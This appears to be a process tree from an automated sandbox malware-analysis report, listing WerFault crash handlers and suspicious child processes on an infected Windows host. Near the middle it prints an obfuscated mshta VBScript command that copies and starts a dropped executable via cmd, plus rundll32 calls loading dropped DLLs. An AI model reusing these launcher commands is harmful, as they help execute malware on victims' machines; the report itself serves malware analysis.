C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3892 -ip 38921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1608 -ip 16081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5804
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if ""-poRsuYEMryiLi""== """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))1⤵PID:5716
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if "-poRsuYEMryiLi"== "" for %m in ("C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" ) do taskkill /iM "%~NXm" -F2⤵PID:3028
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:1236
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1236 -s 4602⤵
- Program crash
PID:5716
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3200
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3304 -ip 33041⤵PID:5648
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1236 -ip 12361⤵PID:5784
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1276 -ip 12761⤵PID:6912
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:6796 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵PID:7144
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7144 -s 4563⤵
- Program crash
PID:5684
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7144 -s 4563⤵
- Program crash
PID:8800
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 7144 -ip 71441⤵PID:5572
-
C:\Users\Admin\AppData\Local\Temp\C014.exeC:\Users\Admin\AppData\Local\Temp\C014.exe1⤵PID:3636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 2442⤵
- Program crash
PID:12084
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 8128 -ip 81281⤵PID:9284
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 444 -p 4564 -ip 45641⤵PID:9224
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1708 -ip 17081⤵PID:3724
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3636 -ip 36361⤵PID:11520
-
C:\Users\Admin\AppData\Local\Temp\is-7OB04.tmp\c_vWNM2VcAdqjIZdhIkNjlxY.tmp"C:\Users\Admin\AppData\Local\Temp\is-7OB04.tmp\c_vWNM2VcAdqjIZdhIkNjlxY.tmp" /SL5="$30438,138429,56832,C:\Users\Admin\Documents\c_vWNM2VcAdqjIZdhIkNjlxY.exe"1⤵PID:11912
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 10928 -ip 109281⤵PID:9752
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 11008 -ip 110081⤵PID:8508
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 8360 -ip 83601⤵PID:13304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 11944 -ip 119441⤵PID:12964
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 10264 -ip 102641⤵PID:8376
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 8156 -ip 81561⤵PID:13680